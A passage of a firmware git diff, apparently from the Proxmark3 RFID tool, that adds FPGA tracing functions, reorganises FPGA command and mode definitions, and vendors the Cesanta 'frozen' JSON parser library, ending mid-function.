SSC_CLOCK_MODE_START(5); // tx framing is the same as the rx framing @@ -153,8 +162,7 @@ void FpgaSetupSsc(void) { //----------------------------------------------------------------------------- // Set up DMA to receive samples from the FPGA. We will use the PDC, with // a single buffer as a circular buffer (so that we just chain back to -// ourselves, not to another buffer). The stuff to manipulate those buffers -// is in apps.h, because it should be inlined, for speed. +// ourselves, not to another buffer). //----------------------------------------------------------------------------- bool FpgaSetupSscDma(uint8_t *buf, int len) { if (buf == NULL) return false; @@ -392,9 +400,13 @@ static int bitparse_find_section(int bitstream_version, char section_name, uint3 void FpgaDownloadAndGo(int bitstream_version) { // check whether or not the bitstream is already loaded - if (downloaded_bitstream == bitstream_version) + if (downloaded_bitstream == bitstream_version) { + FpgaEnableTracing(); return; + } + // Send waiting time extension request as this will take a while + send_wtx(1500); z_stream compressed_fpga_stream; uint8_t output_buffer[OUTPUT_BUFFER_LEN] = {0x00}; @@ -427,6 +439,8 @@ void FpgaDownloadAndGo(int bitstream_version) { // Send a 16 bit command/data pair to the FPGA. // The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0 // where C is the 4 bit command and D is the 12 bit data +// +// @params cmd and v gets or over eachother. Take careful note of overlapping bits. //----------------------------------------------------------------------------- void FpgaSendCommand(uint16_t cmd, uint16_t v) { SetupSpi(SPI_FPGA_MODE); @@ -439,10 +453,21 @@ void FpgaSendCommand(uint16_t cmd, uint16_t v) { // vs. clone vs. etc.). This is now a special case of FpgaSendCommand() to // avoid changing this function's occurence everywhere in the source code. //----------------------------------------------------------------------------- -void FpgaWriteConfWord(uint8_t v) { +void FpgaWriteConfWord(uint16_t v) { FpgaSendCommand(FPGA_CMD_SET_CONFREG, v); } +//----------------------------------------------------------------------------- +// enable/disable FPGA internal tracing +//----------------------------------------------------------------------------- +void FpgaEnableTracing(void) { + FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 1); +} + +void FpgaDisableTracing(void) { + FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 0); +} + //----------------------------------------------------------------------------- // Set up the CMOS switches that mux the ADC: four switches, independently // closable, but should only close one at a time. Not an FPGA thing, but diff --git a/armsrc/fpgaloader.h b/armsrc/fpgaloader.h index f9b0e44b0..636c5b7b7 100644 --- a/armsrc/fpgaloader.h +++ b/armsrc/fpgaloader.h @@ -12,70 +12,80 @@ #ifndef __FPGALOADER_H #define __FPGALOADER_H -#include -#include -#include "apps.h" -#include "fpga.h" -#include "common.h" // standard definitions -#include "proxmark3.h" // common area -#include "string.h" -#include "BigBuf.h" // bigbuf mem -#include "zlib.h" // uncompress +#include "common.h" - -void FpgaSendCommand(uint16_t cmd, uint16_t v); -void FpgaWriteConfWord(uint8_t v); -void FpgaDownloadAndGo(int bitstream_version); -// void FpgaGatherVersion(int bitstream_version, char *dst, int len); -void FpgaSetupSsc(void); -void SetupSpi(int mode); -bool FpgaSetupSscDma(uint8_t *buf, int len); -void Fpga_print_status(void); -int FpgaGetCurrent(void); #define FpgaDisableSscDma(void) AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; #define FpgaEnableSscDma(void) AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTEN; -void SetAdcMuxFor(uint32_t whichGpio); - -// extern and generel turn off the antenna method -void switch_off(void); // definitions for multiple FPGA config files support #define FPGA_BITSTREAM_LF 1 #define FPGA_BITSTREAM_HF 2 -//#define FPGA_BITSTREAM_FELICA 3 + +/* + Communication between ARM / FPGA is done inside armsrc/fpgaloader.c (function FpgaSendCommand) + Send 16 bit command / data pair to FPGA + The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0 + where + C is 4bit command + D is 12bit data + +-----+--------- frame layout -------------------- +bit | 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 +-----+------------------------------------------- +cmd | x x x x +major| x x x +opt | x x +divi | x x x x x x x x +thres| x x x x x x x x +-----+------------------------------------------- +*/ // Definitions for the FPGA commands. -#define FPGA_CMD_SET_CONFREG (1<<12) -#define FPGA_CMD_SET_DIVISOR (2<<12) -#define FPGA_CMD_SET_USER_BYTE1 (3<<12) +// BOTH HF / LF +#define FPGA_CMD_SET_CONFREG (1<<12) // C + +// LF +#define FPGA_CMD_SET_DIVISOR (2<<12) // C +#define FPGA_CMD_SET_USER_BYTE1 (3<<12) // C + +// HF +#define FPGA_CMD_TRACE_ENABLE (2<<12) // C + // Definitions for the FPGA configuration word. // LF -#define FPGA_MAJOR_MODE_LF_ADC (0<<5) +#define FPGA_MAJOR_MODE_LF_READER (0<<5) #define FPGA_MAJOR_MODE_LF_EDGE_DETECT (1<<5) #define FPGA_MAJOR_MODE_LF_PASSTHRU (2<<5) -// HF -#define FPGA_MAJOR_MODE_HF_READER_TX (0<<5) -#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5) -#define FPGA_MAJOR_MODE_HF_SIMULATOR (2<<5) -#define FPGA_MAJOR_MODE_HF_ISO14443A (3<<5) -#define FPGA_MAJOR_MODE_HF_SNOOP (4<<5) -#define FPGA_MAJOR_MODE_HF_FELICA (5<<5) -// BOTH -#define FPGA_MAJOR_MODE_OFF_LF (6<<5) -#define FPGA_MAJOR_MODE_OFF (7<<5) +#define FPGA_MAJOR_MODE_LF_ADC (3<<5) + +// HF +#define FPGA_MAJOR_MODE_HF_READER_TX (0<<5) // D +#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5) // D +#define FPGA_MAJOR_MODE_HF_SIMULATOR (2<<5) // D +#define FPGA_MAJOR_MODE_HF_ISO14443A (3<<5) // D +#define FPGA_MAJOR_MODE_HF_SNOOP (4<<5) // D +#define FPGA_MAJOR_MODE_HF_ISO18092 (5<<5) // D +#define FPGA_MAJOR_MODE_HF_GET_TRACE (6<<5) // D + +// BOTH HF / LF +#define FPGA_MAJOR_MODE_OFF (7<<5) // D + +// Options for LF_READER +#define FPGA_LF_ADC_READER_FIELD 0x1 -// Options for LF_ADC -#define FPGA_LF_ADC_READER_FIELD (1<<0) // Options for LF_EDGE_DETECT #define FPGA_CMD_SET_EDGE_DETECT_THRESHOLD FPGA_CMD_SET_USER_BYTE1 -#define FPGA_LF_EDGE_DETECT_READER_FIELD (1<<0) -#define FPGA_LF_EDGE_DETECT_TOGGLE_MODE (1<<1) +#define FPGA_LF_EDGE_DETECT_READER_FIELD 0x1 +#define FPGA_LF_EDGE_DETECT_TOGGLE_MODE 0x2 + // Options for the HF reader, tx to tag -#define FPGA_HF_READER_TX_SHALLOW_MOD (1<<0) +#define FPGA_HF_READER_TX_SHALLOW_MOD 0x1 + // Options for the HF reader, correlating against rx from tag -#define FPGA_HF_READER_RX_XCORR_848_KHZ (1<<0) -#define FPGA_HF_READER_RX_XCORR_SNOOP (1<<1) -#define FPGA_HF_READER_RX_XCORR_QUARTER (1<<2) +#define FPGA_HF_READER_RX_XCORR_848_KHZ 0x1 +#define FPGA_HF_READER_RX_XCORR_SNOOP 0x2 +#define FPGA_HF_READER_RX_XCORR_QUARTER 0x4 + // Options for the HF simulated tag, how to modulate #define FPGA_HF_SIMULATOR_NO_MODULATION 0x0 // 0000 #define FPGA_HF_SIMULATOR_MODULATE_BPSK 0x1 // 0001 @@ -85,16 +95,31 @@ void switch_off(void); // no 848K // Options for ISO14443A -#define FPGA_HF_ISO14443A_SNIFFER (0<<0) -#define FPGA_HF_ISO14443A_TAGSIM_LISTEN (1<<0) -#define FPGA_HF_ISO14443A_TAGSIM_MOD (2<<0) -#define FPGA_HF_ISO14443A_READER_LISTEN (3<<0) -#define FPGA_HF_ISO14443A_READER_MOD (4<<0) +#define FPGA_HF_ISO14443A_SNIFFER 0x0 +#define FPGA_HF_ISO14443A_TAGSIM_LISTEN 0x1 +#define FPGA_HF_ISO14443A_TAGSIM_MOD 0x2 +#define FPGA_HF_ISO14443A_READER_LISTEN 0x3 +#define FPGA_HF_ISO14443A_READER_MOD 0x4 //options for Felica. -#define FPGA_MAJOR_MODE_ISO18092 (5<<5) // 01010 0000 -#define FPGA_HF_ISO18092_FLAG_NOMOD (1<<0) // 0001 disable modulation module -#define FPGA_HF_ISO18092_FLAG_424K (2<<0) // 0010 should enable 414k mode (untested). No autodetect -#define FPGA_HF_ISO18092_FLAG_READER (4<<0) // 0100 enables antenna power, to act as a reader instead of tag +#define FPGA_HF_ISO18092_FLAG_NOMOD 0x1 // 0001 disable modulation module +#define FPGA_HF_ISO18092_FLAG_424K 0x2 // 0010 should enable 414k mode (untested). No autodetect +#define FPGA_HF_ISO18092_FLAG_READER 0x4 // 0100 enables antenna power, to act as a reader instead of tag + +void FpgaSendCommand(uint16_t cmd, uint16_t v); +void FpgaWriteConfWord(uint16_t v); +void FpgaEnableTracing(void); +void FpgaDisableTracing(void); +void FpgaDownloadAndGo(int bitstream_version); +// void FpgaGatherVersion(int bitstream_version, char *dst, int len); +void FpgaSetupSsc(void); +void SetupSpi(int mode); +bool FpgaSetupSscDma(uint8_t *buf, int len); +void Fpga_print_status(void); +int FpgaGetCurrent(void); +void SetAdcMuxFor(uint32_t whichGpio); + +// extern and generel turn off the antenna method +void switch_off(void); #endif diff --git a/armsrc/frozen.c b/armsrc/frozen.c new file mode 100644 index 000000000..41f2179cd --- /dev/null +++ b/armsrc/frozen.c @@ -0,0 +1,1470 @@ +/* + * Copyright (c) 2004-2013 Sergey Lyubka + * Copyright (c) 2018 Cesanta Software Limited + * All rights reserved + * + * Licensed under the Apache License, Version 2.0 (the ""License""); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an ""AS IS"" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#define _CRT_SECURE_NO_WARNINGS /* Disable deprecation warning in VS2005+ */ + +#include "frozen.h" + +#include +#include +#include "nprintf.h" + +#include "BigBuf.h" +#define malloc(X) BigBuf_malloc(X) +#define free(X) + +#if !defined(WEAK) +#if (defined(__GNUC__) || defined(__TI_COMPILER_VERSION__)) && !defined(_WIN32) +#define WEAK __attribute__((weak)) +#else +#define WEAK +#endif +#endif + +#ifdef _WIN32 +#undef snprintf +#undef vsnprintf +#define snprintf cs_win_snprintf +#define vsnprintf cs_win_vsnprintf +int cs_win_snprintf(char *str, size_t size, const char *format, ...); +int cs_win_vsnprintf(char *str, size_t size, const char *format, va_list ap); +#if _MSC_VER >= 1700 +#include "stdint.h" +#else +typedef _int64 int64_t; +typedef unsigned _int64 uint64_t; +#endif +#define PRId64 "I64d" +#define PRIu64 "I64u" +#else /* _WIN32 */ +/* wants this for C++ */ +#ifndef __STDC_FORMAT_MACROS +#define __STDC_FORMAT_MACROS +#endif +#include +#endif /* _WIN32 */ + +#ifndef INT64_FMT +#define INT64_FMT PRId64 +#endif +#ifndef UINT64_FMT +#define UINT64_FMT PRIu64 +#endif + +#ifndef va_copy +#define va_copy(x, y) x = y +#endif + +#ifndef JSON_ENABLE_ARRAY +#define JSON_ENABLE_ARRAY 1 +#endif + +struct frozen { + const char *end; + const char *cur; + + const char *cur_name; + size_t cur_name_len; + + /* For callback API */ + char path[JSON_MAX_PATH_LEN]; + size_t path_len; + void *callback_data; + json_walk_callback_t callback; +}; + +struct fstate { + const char *ptr; + size_t path_len; +}; + +#define SET_STATE(fr, ptr, str, len) \ + struct fstate fstate = {(ptr), (fr)->path_len}; \ + json_append_to_path((fr), (str), (len)); + +#define CALL_BACK(fr, tok, value, len) \ + do { \ + if ((fr)->callback && \ + ((fr)->path_len == 0 || (fr)->path[(fr)->path_len - 1] != '.')) { \ + struct json_token t = {(value), (int) (len), (tok)}; \ + \ + /* Call the callback with the given value and current name */ \ + (fr)->callback((fr)->callback_data, (fr)->cur_name, (fr)->cur_name_len, \ + (fr)->path, &t); \ + \ + /* Reset the name */ \ + (fr)->cur_name = NULL; \ + (fr)->cur_name_len = 0; \ + } \ + } while (0) + +static int json_append_to_path(struct frozen *f, const char *str, int size) { + int n = f->path_len; + int left = sizeof(f->path) - n - 1; + if (size > left) size = left; + memcpy(f->path + n, str, size); + f->path[n + size] = '\0'; + f->path_len += size; + return n; +} + +static void json_truncate_path(struct frozen *f, size_t len) { + f->path_len = len; + f->path[len] = '\0'; +} + +static int json_parse_object(struct frozen *f); +static int json_parse_value(struct frozen *f); + +#define EXPECT(cond, err_code) \ + do { \ + if (!(cond)) return (err_code); \ + } while (0) + +#define TRY(expr) \ + do { \ + int _n = expr; \ + if (_n < 0) return _n; \ + } while (0) + +#define END_OF_STRING (-1) + +static int json_left(const struct frozen *f) { + return f->end - f->cur; +} + +static int json_isspace(int ch) { + return ch == ' ' || ch == '\t' || ch == '\r' || ch == '\n'; +} + +static void json_skip_whitespaces(struct frozen *f) { + while (f->cur < f->end && json_isspace(*f->cur)) f->cur++; +} + +static int json_cur(struct frozen *f) { + json_skip_whitespaces(f); + return f->cur >= f->end ? END_OF_STRING : *(unsigned char *) f->cur; +} + +static int json_test_and_skip(struct frozen *f, int expected) { + int ch = json_cur(f); + if (ch == expected) { + f->cur++; + return 0; + } + return ch == END_OF_STRING ? JSON_STRING_INCOMPLETE : JSON_STRING_INVALID; +} + +static int json_isalpha(int ch) { + return (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z'); +} + +static int json_isdigit(int ch) { + return ch >= '0' && ch <= '9'; +} + +static int json_isxdigit(int ch) { + return json_isdigit(ch) || (ch >= 'a' && ch <= 'f') || + (ch >= 'A' && ch <= 'F'); +} + +static int json_get_escape_len(const char *s, int len) { + switch (*s) { + case 'u': + return len < 6 ? JSON_STRING_INCOMPLETE + : json_isxdigit(s[1]) && json_isxdigit(s[2]) && + json_isxdigit(s[3]) && json_isxdigit(s[4]) + ? 5 + : JSON_STRING_INVALID; + case '"': + case '\\': + case '/': + case 'b': + case 'f': + case 'n': + case 'r': + case 't': + return len < 2 ? JSON_STRING_INCOMPLETE : 1; + default: + return JSON_STRING_INVALID; + } +} + +/* identifier = letter { letter | digit | '_' } */ +static int json_parse_identifier(struct frozen *f) { + EXPECT(json_isalpha(json_cur(f)), JSON_STRING_INVALID); + { + SET_STATE(f, f->cur, "", 0); + while (f->cur < f->end && + (*f->cur == '_' || json_isalpha(*f->cur) || json_isdigit(*f->cur))) { + f->cur++; + } + json_truncate_path(f, fstate.path_len); + CALL_BACK(f, JSON_TYPE_STRING, fstate.ptr, f->cur - fstate.ptr); + } + return 0; +} + +static int json_get_utf8_char_len(unsigned char ch) { + if ((ch & 0x80) == 0) return 1; + switch (ch & 0xf0) { + case 0xf0: + return 4; + case 0xe0: + return 3; + default: + return 2; + } +} + +/* string = '"' { quoted_printable_chars } '"' */ +static int json_parse_string(struct frozen *f) { + int n, ch = 0, len = 0; + TRY(json_test_and_skip(f, '"')); + { + SET_STATE(f, f->cur, "", 0); + for (; f->cur < f->end; f->cur += len) { + ch = *(unsigned char *) f->cur; + len = json_get_utf8_char_len((unsigned char) ch); + EXPECT(ch >= 32 && len > 0, JSON_STRING_INVALID); /* No control chars */ + EXPECT(len <= json_left(f), JSON_STRING_INCOMPLETE); + if (ch == '\\') { + EXPECT((n = json_get_escape_len(f->cur + 1, json_left(f))) > 0, n); + len += n; + } else if (ch == '"') { + json_truncate_path(f, fstate.path_len); + CALL_BACK(f, JSON_TYPE_STRING, fstate.ptr, f->cur - fstate.ptr); + f->cur++; + break; + }; + } + } + return ch == '"' ? 0 : JSON_STRING_INCOMPLETE; +} + +/* number = [ '-' ] digit+ [ '.' digit+ ] [ ['e'|'E'] ['+'|'-'] digit+ ] */ +static int json_parse_number(struct frozen *f) { + int ch = json_cur(f); + SET_STATE(f, f->cur, "", 0); + if (ch == '-') f->cur++; + EXPECT(f->cur < f->end, JSON_STRING_INCOMPLETE); + if (f->cur + 1 < f->end && f->cur[0] == '0' && f->cur[1] == 'x') { + f->cur += 2; + EXPECT(f->cur < f->end, JSON_STRING_INCOMPLETE); + EXPECT(json_isxdigit(f->cur[0]), JSON_STRING_INVALID); + while (f->cur < f->end && json_isxdigit(f->cur[0])) f->cur++; + } else { + EXPECT(json_isdigit(f->cur[0]), JSON_STRING_INVALID); + while (f->cur < f->end && json_isdigit(f->cur[0])) f->cur++; + if (f->cur < f->end && f->cur[0] == '.') { + f->cur++; + EXPECT(f->cur < f->end, JSON_STRING_INCOMPLETE); + EXPECT(json_isdigit(f->cur[0]), JSON_STRING_INVALID); + while (f->cur < f->end && json_isdigit(f->cur[0])) f->cur++; + } + if (f->cur < f->end && (f->cur[0] == 'e' || f->cur[0] == 'E')) { + f->cur++; + EXPECT(f->cur < f->end, JSON_STRING_INCOMPLETE); + if ((f->cur[0] == '+' || f->cur[0] == '-')) f->cur++; + EXPECT(f->cur < f->end, JSON_STRING_INCOMPLETE); + EXPECT(json_isdigit(f->cur[0]), JSON_STRING_INVALID); + while (f->cur < f->end && json_isdigit(f->cur[0])) f->cur++; + } + } + json_truncate_path(f, fstate.path_len); + CALL_BACK(f, JSON_TYPE_NUMBER, fstate.ptr, f->cur - fstate.ptr); + return 0; +} + +#if JSON_ENABLE_ARRAY +/* array = '[' [ value { ',' value } ] ']' */ +static int json_parse_array(struct frozen *f) { + int i = 0, current_path_len; + char buf[20]; + CALL_BACK(f, JSON_TYPE_ARRAY_START, NULL, 0); + TRY(json_test_and_skip(f, '[')); + { + { + SET_STATE(f, f->cur - 1, "", 0); + while (json_cur(f) != ']') { + snprintf(buf, sizeof(buf), "[%d]", i); + i++; + current_path_len = json_append_to_path(f, buf, strlen(buf)); + f->cur_name = + f->path + strlen(f->path) - strlen(buf) + 1 /*opening brace*/; + f->cur_name_len = strlen(buf) - 2 /*braces*/; + TRY(json_parse_value(f)); + json_truncate_path(f, current_path_len); + if (json_cur(f) == ',') f->cur++; + } + TRY(json_test_and_skip(f, ']')); + json_truncate_path(f, fstate.path_len); + CALL_BACK(f, JSON_TYPE_ARRAY_END, fstate.ptr, f->cur - fstate.ptr); + } + } + return 0; +} +#endif /* JSON_ENABLE_ARRAY */ + +static int json_expect(struct frozen *f, const char *s, int len, + enum json_token_type tok_type) { + int i, n = json_left(f); + SET_STATE(f, f->cur, "", 0); + for (i = 0; i < len; i++) { + if (i >= n) return JSON_STRING_INCOMPLETE; + if (f->cur[i] != s[i]) return JSON_STRING_INVALID; + } + f->cur += len; + json_truncate_path(f, fstate.path_len); + + CALL_BACK(f, tok_type, fstate.ptr, f->cur - fstate.ptr); + + return 0; +} + +/* value = 'null' | 'true' | 'false' | number | string | array | object */ +static int json_parse_value(struct frozen *f) { + int ch = json_cur(f); + + switch (ch) { + case '"': + TRY(json_parse_string(f)); + break; + case '{': + TRY(json_parse_object(f)); + break; +#if JSON_ENABLE_ARRAY + case '[': + TRY(json_parse_array(f)); + break; +#endif + case 'n': + TRY(json_expect(f, "null", 4, JSON_TYPE_NULL)); + break; + case 't': + TRY(json_expect(f, "true", 4, JSON_TYPE_TRUE)); + break; + case 'f': + TRY(json_expect(f, "false", 5, JSON_TYPE_FALSE)); + break; + case '-': + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + TRY(json_parse_number(f)); + break; + default: + return ch == END_OF_STRING ? JSON_STRING_INCOMPLETE : JSON_STRING_INVALID; + } + + return 0; +} + +/* key = identifier | string */ +static int json_parse_key(struct frozen *f) { + int ch = json_cur(f); + if (json_isalpha(ch)) { + TRY(json_parse_identifier(f)); + } else if (ch == '"') { + TRY(json_parse_string(f)); + } else { + return ch == END_OF_STRING ? JSON_STRING_INCOMPLETE : JSON_STRING_INVALID; + } + return 0; +} + +/* pair = key ':' value */ +static int json_parse_pair(struct frozen *f) { + int current_path_len; + const char *tok; + json_skip_whitespaces(f); + tok = f->cur; + TRY(json_parse_key(f)); + { + f->cur_name = *tok == '"' ? tok + 1 : tok; + f->cur_name_len = *tok == '"' ? f->cur - tok - 2 : f->cur - tok; + current_path_len = json_append_to_path(f, f->cur_name, f->cur_name_len); + } + TRY(json_test_and_skip(f, ':')); + TRY(json_parse_value(f)); + json_truncate_path(f, current_path_len); + return 0; +} + +/* object = '{' pair { ',' pair } '}' */ +static int json_parse_object(struct frozen *f) { + CALL_BACK(f, JSON_TYPE_OBJECT_START, NULL, 0); + TRY(json_test_and_skip(f, '{')); + { + SET_STATE(f, f->cur - 1, ".", 1); + while (json_cur(f) != '}') { + TRY(json_parse_pair(f)); + if (json_cur(f) == ',') f->cur++; + } + TRY(json_test_and_skip(f, '}')); + json_truncate_path(f, fstate.path_len); + CALL_BACK(f, JSON_TYPE_OBJECT_END, fstate.ptr, f->cur - fstate.ptr); + } + return 0; +} + +static int json_doit(struct frozen *f) { + if (f->cur == 0 || f->end < f->cur) return JSON_STRING_INVALID; + if (f->end == f->cur) return JSON_STRING_INCOMPLETE; + return json_parse_value(f); +} + +int json_escape(struct json_out *out, const char *p, size_t len) WEAK; +int json_escape(struct json_out *out, const char *str, size_t str_len) { + size_t i, cl, n = 0; + const char *hex_digits = "0123456789abcdef"; + const char *specials = "btnvfr"; + + for (i = 0; i < str_len; i++) { + unsigned char ch = ((unsigned char *) str)[i]; + if (ch == '"' || ch == '\\') { + n += out->printer(out, "\\", 1); + n += out->printer(out, str + i, 1); + } else if (ch >= '\b' && ch <= '\r') { + n += out->printer(out, "\\", 1); + n += out->printer(out, &specials[ch - '\b'], 1); + } else if (c_isprint(ch)) { + n += out->printer(out, str + i, 1); + } else if ((cl = json_get_utf8_char_len(ch)) == 1) { + n += out->printer(out, "\\u00", 4); + n += out->printer(out, &hex_digits[(ch >> 4) % 0xf], 1); + n += out->printer(out, &hex_digits[ch % 0xf], 1); + } else { + n += out->printer(out, str + i, cl); + i += cl - 1; + } + } + + return n; +} + +int json_printer_buf(struct json_out *out, const char *buf, size_t len) WEAK; +int json_printer_buf(struct json_out *out, const char *buf, size_t len) { + size_t avail = out->u.buf.size - out->u.buf.len; + size_t n = len < avail ? len : avail; + memcpy(out->u.buf.buf + out->u.buf.len, buf, n); + out->u.buf.len += n; + if (out->u.buf.size > 0) { + size_t idx = out->u.buf.len; + if (idx >= out->u.buf.size) idx = out->u.buf.size - 1; + out->u.buf.buf[idx] = '\0'; + } + return len; +} + +int json_printer_file(struct json_out *out, const char *buf, size_t len) WEAK; +int json_printer_file(struct json_out *out, const char *buf, size_t len) { + return fwrite(buf, 1, len, out->u.fp); +} + +#if JSON_ENABLE_BASE64 +static int b64idx(int c) { + if (c < 26) { + return c + 'A'; + } else if (c < 52) { + return c - 26 + 'a'; + } else if (c < 62) { + return c - 52 + '0'; + } else { + return c == 62 ? '+' : '/'; + } +} + +static int b64rev(int c) { + if (c >= 'A' && c <= 'Z') { + return c - 'A'; + } else if (c >= 'a' && c <= 'z') { + return c + 26 - 'a'; + } else if (c >= '0' && c <= '9') { + return c + 52 - '0'; + } else if (c == '+') { + return 62; + } else if (c == '/') { + return 63; + } else { + return 64; + } +} + +static int b64enc(struct json_out *out, const unsigned char *p, int n) { + char buf[4]; + int i, len = 0; + for (i = 0; i < n; i += 3) { + int a = p[i], b = i + 1 < n ? p[i + 1] : 0, c = i + 2 < n ? p[i + 2] : 0; + buf[0] = b64idx(a >> 2); + buf[1] = b64idx((a & 3) << 4 | (b >> 4)); + buf[2] = b64idx((b & 15) << 2 | (c >> 6)); + buf[3] = b64idx(c & 63); + if (i + 1 >= n) buf[2] = '='; + if (i + 2 >= n) buf[3] = '='; + len += out->printer(out, buf, sizeof(buf)); + } + return len; +} + +static int b64dec(const char *src, int n, char *dst) { + const char *end = src + n; + int len = 0; + while (src + 3 < end) { + int a = b64rev(src[0]), b = b64rev(src[1]), c = b64rev(src[2]), + d = b64rev(src[3]); + dst[len++] = (a << 2) | (b >> 4); + if (src[2] != '=') { + dst[len++] = (b << 4) | (c >> 2); + if (src[3] != '=') { + dst[len++] = (c << 6) | d; + } + } + src += 4; + } + return len; +} +#endif /* JSON_ENABLE_BASE64 */ + +static unsigned char hexdec(const char *s) { +#define HEXTOI(x) (x >= '0' && x <= '9' ? x - '0' : x - 'W') + int a = c_tolower(*(const unsigned char *) s); + int b = c_tolower(*(const unsigned char *)(s + 1)); + return (HEXTOI(a) << 4) | HEXTOI(b); +} + +int json_vprintf(struct json_out *out, const char *fmt, va_list xap) WEAK; +int json_vprintf(struct json_out *out, const char *fmt, va_list xap) { + int len = 0; + const char *quote = "\"", *null = "null"; + va_list ap; + va_copy(ap, xap); + + while (*fmt != '\0') { + if (strchr(":, \r\n\t[]{}\"", *fmt) != NULL) { + len += out->printer(out, fmt, 1); + fmt++; + } else if (fmt[0] == '%') { + char buf[21]; + size_t skip = 2; + + if (fmt[1] == 'l' && fmt[2] == 'l' && (fmt[3] == 'd' || fmt[3] == 'u')) { + int64_t val = va_arg(ap, int64_t); + const char *fmt2 = fmt[3] == 'u' ? "%" UINT64_FMT : "%" INT64_FMT; + snprintf(buf, sizeof(buf), fmt2, val); + len += out->printer(out, buf, strlen(buf)); + skip += 2; + } else if (fmt[1] == 'z' && fmt[2] == 'u') { + size_t val = va_arg(ap, size_t); + snprintf(buf, sizeof(buf), "%lu", (unsigned long) val); + len += out->printer(out, buf, strlen(buf)); + skip += 1; + } else if (fmt[1] == 'M') { + json_printf_callback_t f = va_arg(ap, json_printf_callback_t); + len += f(out, &ap); + } else if (fmt[1] == 'B') { + int val = va_arg(ap, int); + const char *str = val ? "true" : "false"; + len += out->printer(out, str, strlen(str)); + } else if (fmt[1] == 'H') { +#if JSON_ENABLE_HEX + const char *hex = "0123456789abcdef"; + int i, n = va_arg(ap, int); + const unsigned char *p = va_arg(ap, const unsigned char *); + len += out->printer(out, quote, 1); + for (i = 0; i < n; i++) { + len += out->printer(out, &hex[(p[i] >> 4) & 0xf], 1); + len += out->printer(out, &hex[p[i] & 0xf], 1); + } + len += out->printer(out, quote, 1); +#endif /* JSON_ENABLE_HEX */ + } else if (fmt[1] == 'V') { +#if JSON_ENABLE_BASE64 + const unsigned char *p = va_arg(ap, const unsigned char *); + int n = va_arg(ap, int); + len += out->printer(out, quote, 1); + len += b64enc(out, p, n); + len += out->printer(out, quote, 1); +#endif /* JSON_ENABLE_BASE64 */ + } else if (fmt[1] == 'Q' || + (fmt[1] == '.' && fmt[2] == '*' && fmt[3] == 'Q')) { + size_t l = 0; + const char *p; + + if (fmt[1] == '.') { + l = (size_t) va_arg(ap, int); + skip += 2; + } + p = va_arg(ap, char *); + + if (p == NULL) { + len += out->printer(out, null, 4); + } else { + if (fmt[1] == 'Q') { + l = strlen(p); + } + len += out->printer(out, quote, 1); + len += json_escape(out, p, l); + len += out->printer(out, quote, 1); + } + } else { + /* + * we delegate printing to the system printf. + * The goal here is to delegate all modifiers parsing to the system + * printf, as you can see below we still have to parse the format + * types. + * + * Currently, %s with strings longer than 20 chars will require + * double-buffering (an auxiliary buffer will be allocated from heap). + * TODO(dfrank): reimplement %s and %.*s in order to avoid that. + */ + + const char *end_of_format_specifier = "sdfFeEgGlhuIcx.*-0123456789"; + int n = strspn(fmt + 1, end_of_format_specifier); + char *pbuf = buf; + int need_len, size = sizeof(buf); + char fmt2[20]; + va_list ap_copy; + strncpy(fmt2, fmt, + n + 1 > (int) sizeof(fmt2) ? sizeof(fmt2) : (size_t) n + 1); + fmt2[n + 1] = '\0'; + + va_copy(ap_copy, ap); + need_len = vsnprintf(pbuf, size, fmt2, ap_copy); + va_end(ap_copy); + + if (need_len < 0) { + /* + * Windows & eCos vsnprintf implementation return -1 on overflow + * instead of needed size. + */ + pbuf = NULL; + while (need_len < 0) { + free(pbuf); + size *= 2; + if ((pbuf = (char *) malloc(size)) == NULL) break; + va_copy(ap_copy, ap); + need_len = vsnprintf(pbuf, size, fmt2, ap_copy); + va_end(ap_copy); + } + } else if (need_len >= (int) sizeof(buf)) { + /* + * resulting string doesn't fit into a stack-allocated buffer `buf`, + * so we need to allocate a new buffer from heap and use it + */ + if ((pbuf = (char *) malloc(need_len + 1)) != NULL) { + va_copy(ap_copy, ap); + vsnprintf(pbuf, need_len + 1, fmt2, ap_copy); + va_end(ap_copy); + } + } + if (pbuf == NULL) { + buf[0] = '\0'; + pbuf = buf; + } + + /* + * however we need to parse the type ourselves in order to advance + * the va_list by the correct amount; there is no portable way to + * inherit the advancement made by vprintf. + * 32-bit (linux or windows) passes va_list by value. + */ + if ((n + 1 == strlen("%" PRId64) && strcmp(fmt2, "%" PRId64) == 0) || + (n + 1 == strlen("%" PRIu64) && strcmp(fmt2, "%" PRIu64) == 0)) { + (void) va_arg(ap, int64_t); + } else if (strcmp(fmt2, "%.*s") == 0) { + (void) va_arg(ap, int); + (void) va_arg(ap, char *); + } else { + switch (fmt2[n]) { + case 'u': + case 'd': + (void) va_arg(ap, int); + break; + case 'g': + case 'f': + (void) va_arg(ap, double); + break; + case 'p': + (void) va_arg(ap, void *); + break; + default: + /* many types are promoted to int */ + (void) va_arg(ap, int); + } + } + + len += out->printer(out, pbuf, strlen(pbuf)); + skip = n + 1; + + /* If buffer was allocated from heap, free it */ + if (pbuf != buf) { + free(pbuf); + pbuf = NULL; + } + } + fmt += skip; + } else if (*fmt == '_' || json_isalpha(*fmt)) { + len += out->printer(out, quote, 1); + while (*fmt == '_' || json_isalpha(*fmt) || json_isdigit(*fmt)) { + len += out->printer(out, fmt, 1); + fmt++; + } + len += out->printer(out, quote, 1); + } else { + len += out->printer(out, fmt, 1); + fmt++; + } + } + va_end(ap); + + return len; +} + +int json_printf(struct json_out *out, const char *fmt, ...) WEAK; +int json_printf(struct json_out *out, const char *fmt, ...) { + int n; + va_list ap; + 